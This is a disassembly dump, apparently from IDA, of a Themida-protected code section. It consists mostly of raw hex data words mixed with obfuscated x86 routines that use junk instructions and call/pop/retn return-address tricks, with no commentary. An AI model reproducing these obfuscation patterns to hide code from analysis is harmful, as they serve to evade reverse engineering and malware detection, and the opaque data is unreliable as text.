		dd 0F21C59Dh, 58E906h, 0E4B30000h, 5D3FB58Bh, 6C7060Fh
		dd 0
		dd 5AC4B58Bh, 6C7060Fh,	0
		dd 56006ACFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 7601A456h, 9E9A914h, 0E1000000h,	0CB7B6EDDh
		dd 31F55301h, 0ED9D8956h, 5A060F22h, 15058D09h,	0BD83060Fh
		dd 60F2269h, 44840F00h,	6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8597C357h
		dd 0FDFB70Fh, 684h, 9D958B00h, 83060F23h, 0F21F9BDh, 850F0106h
		dd 0FBh, 0EE8h,	0F81F8200h, 3FD59EBh, 8B0C7316h, 66E524FBh
		dd 5B24B6BBh, 4C088D8Bh, 0B529060Fh, 60F14B5h, 570001C6h
		dd 9E9h, 58785800h, 2ED1ED2Ch, 605BD76Fh, 496872B6h, 50C72E43h
		dd 13E852h, 612D0000h, 44CE633Ah, 92313712h, 0E6C739F1h
		dd 0CE30FADEh, 0F52501Bh, 5B585A31h, 6E9310Fh, 3F000000h
		dd 10A967A5h, 81585A4Bh, 0BD372404h, 9D2338D1h,	60F2B1Dh
		dd 0BD89FF6Ah, 60F150Dh, 27DDBD29h, 95FF060Fh, 60F2C5Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 47C35141h
		dd 0E66AE729h, 6661375Bh, 0FF8BC9BBh, 0F337D95h, 3BBA6606h
		dd 88D8B9Dh, 6A060F4Ch,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 3FEAC355h, 7118D484h
		dd 0BF0F5675h, 0E901FED7h, 7, 648A0170h, 8315D122h, 0F15E9BDh
		dd 850F0106h, 3, 8BD88BF5h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 1B426A6Bh
		dd 8166AF4Ah, 83C7BCC2h, 0F1891BDh, 9750006h, 26ADBD83h
		dd 7400060Fh, 8B53501Ah, 25858BC0h, 89060F00h, 0F002585h
		dd 0B89D8D06h, 0FF0611AFh, 83585BD3h, 0F26ADBDh, 18740006h
		dd 858B5350h, 60F0025h,	258589h, 9D8D060Fh, 611ACA7h, 585BD3FFh
		dd 89D88B66h, 0F1659B5h, 0D9BF0F06h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 8D6D53C3h
		dd 0BE9C3h, 74C50000h, 6780629Ch, 4D74549Ah, 0DF8B66CCh
		dd 2CA5B589h, 0BD83060Fh, 60F2269h, 19850F00h, 89000000h
		dd 0F27099Dh, 31BD8306h, 60F2Bh, 6840Fh, 9D890000h, 60F13B1h
		dd 2269BD83h, 0F00060Fh, 4A84h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0BD3324F9h
		dd 9B85E6CCh, 9858975h,	89060F31h, 0F24759Dh, 0D1BD8306h
		dd 60F17h, 0D840Fh, 29510000h, 0F23A195h, 81665A06h, 83D925EBh
		dd 0F2269BDh, 840F0006h, 41h, 7E99529h,	0BD83060Fh, 60F17D1h
		dd 2E840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0C2A0C350h,	0B74C4677h
		dd 893AA788h, 0F1A75BDh, 9CBB6606h, 69BD8324h, 60F22h
		dd 37840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0C78BB8C3h, 0C1F71C98h, 0BD8320B9h
		dd 60F0B6Dh, 6840F00h, 8B000000h, 0F16DD9Dh, 69BD8306h
		dd 60F22h, 4E840Fh, 8E0F0000h, 6, 4D55EA81h, 0BD83287Eh
		dd 60F18A5h, 35840F00h,	66000000h, 1FECCB81h, 2FBD95FFh
		dd 6A060Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0E6A644C3h, 9342B20Fh, 0B5894125h, 60F2891h
		dd 9D8BC08Bh, 60F0575h,	1891BD83h, 7500060Fh, 0ADBD8309h
		dd 60F26h, 53501A74h, 858BC08Bh, 60F2941h, 29418589h, 9D8D060Fh
		dd 611B01Fh, 585BD3FFh,	26ADBD83h, 7400060Fh, 8B535018h
		dd 0F294185h, 41858906h, 8D060F29h, 11ACC09Dh, 5BD3FF06h
		dd 0C890F58h, 0F000000h, 688h, 799D8B00h, 80060F33h, 0C08B32CAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 67C35545h
		dd 81A1F4C7h, 0E37D64E2h, 69BD8373h, 60F22h, 3B3840Fh
		dd 958B0000h, 60F1949h,	0CFC5C281h, 0BD83212Bh,	60F2875h
		dd 19840F02h, 89000000h, 0F2C59B5h, 0EDBD8306h,	1060F0Fh
		dd 6850Fh, 9D890000h, 60F289Dh,	55006A60h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 971D92E5h
		dd 29FF1F5Fh, 7D8D014Fh, 8B060F2Dh, 0F4C088Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 87BEEE18h, 1E5F50CCh, 8B661CC4h, 0F01FED3h, 3968D0BFh
		dd 0E92DBB11h, 6, 1207C290h, 3481E908h,	0BB11B924h, 658D892Dh
		dd 6A060F26h, 12E9FFh, 8D020000h, 4CF3C8B2h, 1B05D1B2h
		dd 91118387h, 0D39C13C1h, 2C5D95FFh, 6651060Fh,	8D07E381h
		dd 0BA66615Bh, 0BD8D5539h, 60F1511h, 13798589h,	4F8B060Fh
		dd 81BD891Ch, 89060F23h, 0F1611BDh, 0F016A06h, 18Ch, 0F08AF800h
		dd 19B35250h, 240C895Bh, 7AD9D8Bh, 858D060Fh, 6123685h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B1C35343h
		dd 0D38B7038h, 1691958Bh, 0D0FF060Fh, 23C99D89h, 4F8B060Fh
		dd 57006A20h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 286AC9Ah, 0AE89DB8h, 6000000h, 67B48E1Bh
		dd 0B4F9129Eh, 71DB8008h, 15D7805Ah, 6A036Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 3EEB7C3h
		dd 0AE942B9h, 0C000000h, 629A0D65h, 69A6111Eh, 55BD31C8h
		dd 50060F10h, 0A8D0Fh, 0F600000h, 8Eh, 61F38B00h, 6A240C89h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A1EC357h, 95095D3Ch, 60F2A8Dh, 2850Fh, 0D88B0000h
		dd 3685858Dh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 847BE1C3h, 727A2980h, 85899278h
		dd 60F2AF1h, 5D8D2B60h,	80060F01h, 0FF61B3C4h, 0E9DA80D0h
		dd 0BD8D41B3h, 60F1511h, 163D958Bh, 4F8B060Fh, 50006A1Ch
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 3B4FDD08h, 60016A12h, 0A61B529h, 8A0F060Fh, 5, 6F8880BFh
		dd 66506102h, 0C89D78Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0D3FE5D88h, 0D91E5A79h
		dd 11319D8Bh, 858D060Fh, 6123685h, 1451958Bh, 0D381060Fh
		dd 17FC3FD0h, 8D01D0FFh, 60F0DD5h, 31019D8Bh, 4F8B060Fh
		dd 0D8B70F20h, 0B70F036Ah, 39B650D8h, 0F9240C89h, 3685858Dh
		dd 81660612h, 0E9B72FE3h, 7, 5B0D8C2Bh,	0FF79FC14h, 0EBBB66D0h
		dd 88D8B43h, 6A060F4Ch,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 66B0C356h, 5441F381h
		dd 1E860Fh, 8D0F0000h, 18h, 13E9h, 8D5EA100h, 0F1D2C036h
		dd 8DF75879h, 0A9D51FD5h, 17FB6C76h, 9D8B01FEh,	60F264Dh
		dd 4C08858Bh, 0BA66060Fh, 0FE7F0Bh, 16AFE8Ah, 26319D89h
		dd 6068060Fh, 60F9B2A8h, 12E8h,	4F9AD800h, 0B893273Eh
		dd 0A1F0C024h, 87602E08h, 0B8BA3A0Eh, 17F2C485h, 8E0F535Ah
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		popa
		add	dword ptr [esp], 64CF79Fh
		mov	dh, 9Bh
		lea	eax, [ebp+612368Fh]
		jno	loc_551426
		pusha
		sub	[ebp+60F1E69h],	ebx
		mov	bx, si
		popa


loc_551426:				; CODE XREF: Themida_:00551415j
		call	eax
		mov	ebx, 55050DF7h
		cmp	dword ptr [ebp+60F2B31h], 0
		jz	loc_5514ED
		mov	bx, 0F1A3h
		cmp	dword ptr [ebp+60F21ADh], 1
		jnz	loc_5514ED
		push	0
		push	ecx
		call	sub_551456
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551456	proc near		; CODE XREF: Themida_:0055144Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_551456	endp

; ---------------------------------------------------------------------------
		or	cl, ch


loc_551468:				; CODE XREF: Themida_:005514A9j
		mov	bx, 1F25h
		lea	ecx, [ebp+6123699h]
		sub	[ebp+60F1E81h],	esi
		or	ebx, 55561D57h
		push	3
		cld
		push	1
		push	edx
		mov	ebx, 70E56422h
		pop	ebx
		call	ecx
		push	1


loc_55148E:				; CODE XREF: Themida_:005514BBj
		push	0
		push	esi
		call	sub_551499
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551499	proc near		; CODE XREF: Themida_:00551491p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_551499	endp

; ---------------------------------------------------------------------------
		ja	short loc_551468
		push	1
		mov	[ebp+60F2D35h],	esi
		call	sub_5514BD
		jmp	dword ptr [eax-52h]
; ---------------------------------------------------------------------------
		jg	short loc_55148E

; =============== S U B	R O U T	I N E =======================================



sub_5514BD	proc near		; CODE XREF: Themida_:005514B3p
		jns	loc_5514C5
		mov	dl, cl


loc_5514C5:				; CODE XREF: sub_5514BDj
		pop	edx
		call	ecx
		sbb	dh, 5Fh
		sub	[ebp+60F0B19h],	esi
		call	near ptr 0FAA18550h
		call	sub_5514E0
		jnb	short nullsub_3
		mov	ah, 41h
sub_5514BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5514E0	proc near		; CODE XREF: sub_5514BD+19p
		adc	edx, 10DDABD9h
		pop	ebx
		mov	ebx, [ebp+60F2189h]


loc_5514ED:				; CODE XREF: Themida_:00551434j
					; Themida_:00551445j
		push	20h
		or	dl, 18h
		push	0FFFFFFFFh
		call	dword ptr [ebp+60F2C5Dh]
		push	0
		push	ebx
		call	sub_551505
		and	[ebx-3Dh], bl
sub_5514E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_551505	proc near		; CODE XREF: sub_5514E0+1Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx


loc_55150A:				; CODE XREF: Themida_:0055156Cj
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_551505	endp

; ---------------------------------------------------------------------------
		db 0D5h, 41h, 5Eh
		dd 35EED12Dh, 8B4C24B4h, 0F217195h, 0B8D4B706h,	0
		dd 0BD6B70Fh, 43840FC0h, 0BA000000h, 187A02C4h,	348DBD83h
		dd 0F00060Fh, 3184h, 53006A00h,	3E8h
		db 0, 20h, 5Bh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		push	es
		mov	ecx, 62A959EFh
		dec	ebx
		cdq
		jbe	short loc_55150A
		call	dword ptr [ebp+60F100Dh]
		xor	[ebp+60F0825h],	ecx
		mov	eax, [ebp+60F2C8Dh]
		mov	[ebp+60F32C9h],	ecx
		mov	byte ptr [eax],	0
		push	0
		push	eax
		call	sub_551594
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551594	proc near		; CODE XREF: Themida_:0055158Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_551594	endp

; ---------------------------------------------------------------------------
		retn	7D66h
; ---------------------------------------------------------------------------
		db 0A8h
		dd 2A51BD89h, 9E8060Fh,	6C000000h, 0E0B90171h, 0DD07536Bh
		dd 8951585Ah, 0F14818Dh, 7CB75A06h, 0FD98C66h, 58Ch, 0B01CBA00h
		dd 0C1F65F6Bh, 88840F04h, 80000000h, 80E9A0EBh,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 8EC0C353h, 0A24C0313h, 8B3B14F8h,	0F1A419Dh
		dd 0EDB58B06h, 0E9060F19h, 0Ch,	0F16BEEAFh, 0D58BF30h
		dd 0F42299CFh, 1180C681h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 9AFA68C3h, 1B919589h
		dd 6C7060Fh, 0
; ---------------------------------------------------------------------------
		jmp	loc_551667
; ---------------------------------------------------------------------------
		db 5Eh,	79h, 0BFh
		dd 223AE6EBh
		db 57h,	35h, 0F3h
; ---------------------------------------------------------------------------


loc_551667:				; CODE XREF: Themida_:00551658j
		pop	esi
		mov	bl, 5Dh
		cmp	eax, 0
		jz	loc_55231C
		movsx	edx, cx
		cmp	eax, 1
		jnz	loc_5518C5
		push	0
		push	ecx
		call	sub_55168A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55168A	proc near		; CODE XREF: Themida_:00551682p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_55168A	endp

; ---------------------------------------------------------------------------
		dw 0C2B4h
		dd 0E2FE8A43h, 0ADF17EE9h, 0AE8h, 4C171B00h, 31BE10B6h
		dd 345785Bh, 0F07F19Dh,	0B85A06h, 0BA000000h, 56606E68h
		dd 840FC00Bh, 180h, 0B70BC281h,	0F8832010h, 9D840F01h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0B9D7C353h, 2AA0BBEEh,	0E8565910h
		dd 14h,	3053C6D7h, 524D4A01h, 0BA9230EEh, 0A2FF5264h, 4C7A6B79h
		dd 5BDA8B66h, 9D9D335Ah, 83060F22h, 840F03F8h, 0BFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 6C35141h, 4F0FB966h
		dd 1DF58D29h, 8D0F060Fh, 0Dh, 6E952h, 49010000h, 0A900AD9Dh
		dd 0B85Bh, 6E90000h, 50000000h,	60E088EAh, 0E0BD8D79h
		dd 6A005B89h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 5ACCC353h, 59251B33h, 9D295AE7h
		dd 60F10B5h, 6AE7FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0B49B3EC3h, 89C189B2h, 0F0C8D85h
		dd 13E906h, 59D10000h, 0EF46A8EBh, 1658A26Ch, 0B174682Ah
		dd 325BC362h, 35850908h, 0B8060F08h, 1,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 48C35343h, 0BCA309E6h
		dd 958BF717h, 60F0865h,	89E0BD8Dh, 6A005Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 864A00C3h
		dd 952B9B80h, 60F33DDh,	9529E7FFh, 60F27A5h, 4294BD8Dh
		dd 0CF80060Fh, 2ACE9F5h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0DC8AB1C3h, 4C6385C7h
		dd 5060Fh, 0FE90000h, 0FB000000h, 174FE9F5h, 0BE5CE910h
		dd 1C379765h, 0D18B67A4h, 5B8h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0F2E9E4A3h
		dd 8B000009h, 0F34C595h
; ---------------------------------------------------------------------------
		push	es


loc_5518C5:				; CODE XREF: Themida_:00551679j
		cmp	eax, 2
		jnz	loc_5519B0
		sub	[ebp+60F0561h],	ebx
		mov	eax, 0
		push	0
		push	edx
		call	sub_5518E4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5518E4	proc near		; CODE XREF: Themida_:005518DCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5518E4	endp

; ---------------------------------------------------------------------------
		mov	bh, 38h
		push	es
		mov	[ebp+60F2B05h],	esi
		or	eax, eax
		jz	loc_551975
		push	0
		push	esi
		call	sub_551910
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551910	proc near		; CODE XREF: Themida_:00551908p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_551910	endp

; ---------------------------------------------------------------------------
		dd 66A4B327h, 0E9C5D281h, 0F01F883h, 0FFFF4784h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 83F9C470h, 840F03F8h, 0FFFFFE93h, 0B8D78B66h, 0
; ---------------------------------------------------------------------------
		xor	ebx, [ebp+60F15B5h]
		lea	edi, dword_5B89E0[ebp]
		mov	ebx, edi
		jmp	edi
; ---------------------------------------------------------------------------
		or	bx, 0C759h


loc_551975:				; CODE XREF: Themida_:005518FFj
		lea	edi, [ebp+60F448Ch]
		jmp	loc_55198B
; ---------------------------------------------------------------------------
		dd 1CCB48E3h, 7840FEF8h
		db 70h,	0C7h, 67h
; ---------------------------------------------------------------------------


loc_55198B:				; CODE XREF: Themida_:0055197Bj
		jmp	loc_551B06
; ---------------------------------------------------------------------------
		dd 14E8h, 7996EB00h, 9BF7A6C7h,	0FD0041DFh, 2CD84F64h
		dd 479FE06Dh, 7D958B8Eh, 5B060F10h
; ---------------------------------------------------------------------------


loc_5519B0:				; CODE XREF: Themida_:005518C8j
		cmp	eax, 3
		jnz	loc_5519F3
		mov	[ebp+60F29DDh],	edx
		lea	edi, [ebp+60F4620h]
		push	0
		push	edi
		call	sub_5519D0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5519D0	proc near		; CODE XREF: Themida_:005519C8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5519D0	endp

; ---------------------------------------------------------------------------
		dd 0E9A0B383h, 11Eh, 0A0EA8166h, 558D0997h
; ---------------------------------------------------------------------------
		adc	[edi], cl
		push	es


loc_5519F3:				; CODE XREF: Themida_:005519B3j
		cmp	eax, 5
		jnz	loc_551A10
		or	[ebp+60F2AA1h],	ebx
		jmp	loc_5522B1
; ---------------------------------------------------------------------------
		pusha
		mov	bh, 0FEh
		sbb	ax, 493Dh
		popa


loc_551A10:				; CODE XREF: Themida_:005519F6j
		cmp	eax, 6
		jnz	loc_551A3D
		jmp	loc_551A2A
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		pop	ds
		icebp
		pushf
		dec	ecx
		and	al, [ecx+ecx-63A7371Fh]


loc_551A2A:				; CODE XREF: Themida_:00551A19j
		lea	edi, [ebp+60F4818h]
		mov	ebx, 1CB70BE3h
		jmp	loc_551B06
; ---------------------------------------------------------------------------
		and	bh, 0A3h


loc_551A3D:				; CODE XREF: Themida_:00551A13j
		cmp	eax, 7
		jnz	loc_551AC0
		push	0
		push	ebp
		call	sub_551A51
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551A51	proc near		; CODE XREF: Themida_:00551A49p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_551A51	endp

; ---------------------------------------------------------------------------
		std
		add	[ecx+34h], bl
		cdq
		mov	bx, 0A8AEh
		mov	ebx, [ebp+60F15E5h]
		lea	edi, [ebp+60F0579h]
		push	0
		push	edx
		call	sub_551A81
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551A81	proc near		; CODE XREF: Themida_:00551A79p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_551A81	endp

; ---------------------------------------------------------------------------
		db 0A9h, 66h, 0AAh
		dd 3EA96D57h, 0A99D89D9h, 0E8060F10h, 0Ah, 11E99F62h, 6EEBA7DFh
		dd 0B5892F79h, 60F0F89h, 135E95Bh, 9D2B0000h, 60F1965h
; ---------------------------------------------------------------------------


loc_551AC0:				; CODE XREF: Themida_:00551A40j
		cmp	eax, 0Ah
		jnz	loc_551B06
		lea	edi, [ebp+60F4A10h]
		push	0
		push	eax
		call	sub_551ADA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551ADA	proc near		; CODE XREF: Themida_:00551AD2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_551ADA	endp

; ---------------------------------------------------------------------------
		adc	[edi], ebp
		cmp	esi, [edx]
		mov	ebx, [ebp+60F3299h]
		jmp	loc_551B06
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+60F1BB1h],	eax
		add	di, 5BE0h
		popa


loc_551B06:				; CODE XREF: Themida_:loc_55198Bj
					; Themida_:00551A35j ...
		push	edi
		push	0
		push	esi
		call	sub_551B12
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551B12	proc near		; CODE XREF: Themida_:00551B0Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_551B12	endp

; ---------------------------------------------------------------------------
		dw 4D1Eh
		dd 0B3D917DEh, 0FE95316h, 0C9000000h, 22C31BC1h, 8C800146h
		dd 19FBCED0h, 0B25BEA14h, 0F4F2B9A0h, 6A7A75h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8BF95FC3h, 0F1D399Dh, 3F8306h, 76840Fh, 0F2810000h
		dd 76A3D1A5h, 860F0F30h, 0Bh, 6E9h, 0A5BC9900h,	0D1F02986h
		dd 56006AC9h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0BE58FA36h, 0DB1082BAh, 0B70F4761h, 0FFAFE9DFh
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0DE9AEC3h, 0CF000000h, 0DC19B30Ah, 0A7D3CC78h
		dd 0BDD6AF5Fh, 21B5295Fh, 89060F2Ah, 0F4C0CBDh,	37E28006h
		dd 1C098D8Dh, 0BF0F060Fh, 75B5FFDBh, 29060F22h,	0F21B58Dh
		dd 70858D06h, 500611A2h, 5315BD8Dh, 8D8D060Fh, 60F6D5Dh
		dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 0F6D1EB5h
		dd 758D8D06h, 2B060F6Dh, 33A4F3CFh, 0B8C9h, 0C00B0000h
		dd 0BD834674h, 60F348Dh, 0FF067400h, 0F100D95h,	0CB58B06h
		dd 8D060F4Ch, 11A27085h, 8DD0FF06h, 0F421785h, 0C7D0FF06h
		dd 0F193985h, 106h, 39A58B00h, 8B060F05h, 0F1651B5h, 55AD8B06h
		dd 33060F33h, 0CC2C0h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0CFC35646h, 52528905h, 65958B8Dh, 66060F2Dh
		dd 0B66C5CBBh, 0C99D8B7Ah, 83060F18h, 0F2D71BDh, 840F0006h
		dd 2Eh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 8BC35545h, 0E59D2Bh,	95FF060Fh, 60F30F1h, 34558D31h
		dd 0BD83060Fh, 60F21D5h, 0A850F00h, 1000002h, 0F2829BDh
		dd 419D2B06h, 83060F2Ch, 0F21ADBDh, 850F0106h, 1F1h, 0ACCAE381h
		dd 0BD831B9Fh, 60F1901h, 0DE840F00h, 6A000001h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0C804C356h, 5C3EE2E5h, 6820Fh, 0BD310000h, 60F1B31h
		dd 8E9h, 5157EE00h, 0ED48A5C6h,	5FBD83D5h, 60F4Ch, 197840Fh
		dd 9D8B0000h, 60F1B91h,	0A270858Dh, 0C2810611h,	722BFAEh
		dd 4C0CB58Bh, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FB70FC3h, 8B0FD0BFh, 6,	0E96C381h
		dd 0D0FF10C6h, 1A659529h, 9D31060Fh, 60F0D79h, 24FD85C6h
		dd 6A54060Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0E155C350h, 8EE0B65Ch,	2927E473h
		dd 0F26119Dh, 39CF6806h, 0DA8BC5E9h, 3B243481h,	8B3AA787h
		dd 0F0AD19Dh, 0E5B5FF06h, 0BB060F1Ch, 3E7C8070h, 3AB8858Dh
		dd 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 637899C3h, 97B4FE04h, 6AD0FF6Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0B72AC352h, 6A006AFCh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 321EC356h, 8C8310Dh
		dd 0F3E33F9Fh, 16ADB589h, 0FF6A060Fh, 9D89DE8Bh, 60F3379h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 45B90CC3h, 0B4E61DDBh, 0ED9D8B1Fh, 0FF060F22h
		dd 0F2CA9B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 97D33C40h, 12890F85h, 0E9000000h
		dd 0Dh,	0C8902775h, 209670A1h, 49C398F4h, 7595FF1Fh, 81060F22h
		dd 261FFFCBh, 0CB58B5Ch, 31060F4Ch, 0F00898Dh, 0DD952306h
		dd 0C3060F26h, 124D8D89h, 12E9060Fh, 64000000h,	7E926CBFh
		dd 1B94D664h, 8F0C9754h, 2A227F29h, 8DB58B3Ch, 89060F2Ch
		dd 0F2B019Dh, 0FF60B06h, 3184h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0FDE2CA1Eh
		dd 0CEB1289Eh, 0EF80B2CAh, 6C65Ah, 0B699D8Bh, 8589060Fh
		dd 60F4C14h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	10C35646h, 0F1DBAE5h, 33F543E3h, 0F19A99Dh, 0F88306h
		dd 35A840Fh, 1B60000h, 0B8h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0EB95E0C3h
		dd 950B0BC4h, 60F1599h,	0F00F883h, 0B484h, 19958900h, 0F9060F33h
		dd 0F02F883h, 6C85h, 819D8B00h,	8D060F16h, 0F428F85h, 0B8B4BA06h
		dd 292D55BFh, 6A000009h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0AFECC353h,	0E99E521Dh
		dd 9, 8ED4024Ah, 815C9ADFh, 8B669008h, 0E2B350D6h, 0B9950190h
		dd 60060F1Ah, 0A7E78166h, 15B966FAh, 81C361ACh,	0DD2F3EDBh
		dd 2810F1Ah, 8A000000h,	0B8D9h,	0BD890000h, 60F2D35h, 297E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 68D0FD0h, 8B000000h, 0F2D2D95h, 1B806h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 386589C3h, 690E5444h, 0C28113A0h,	68D1548Eh
		dd 6800Fh, 9D8B0000h, 60F0A7Dh,	4294BD8Dh, 0E9F9060Fh
		dd 0F8h, 10E9h,	0B9C34800h, 1A7B6F82h, 99003DD1h, 0DEC3B78Dh
		dd 2F8830Dh, 5B850Fh, 9D330000h, 60F3151h, 448CBD8Dh, 13E9060Fh
		dd 9E000000h, 0E361D49Bh, 40181D6Dh, 6132EA92h,	616A2851h
		dd 0B1E93C99h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
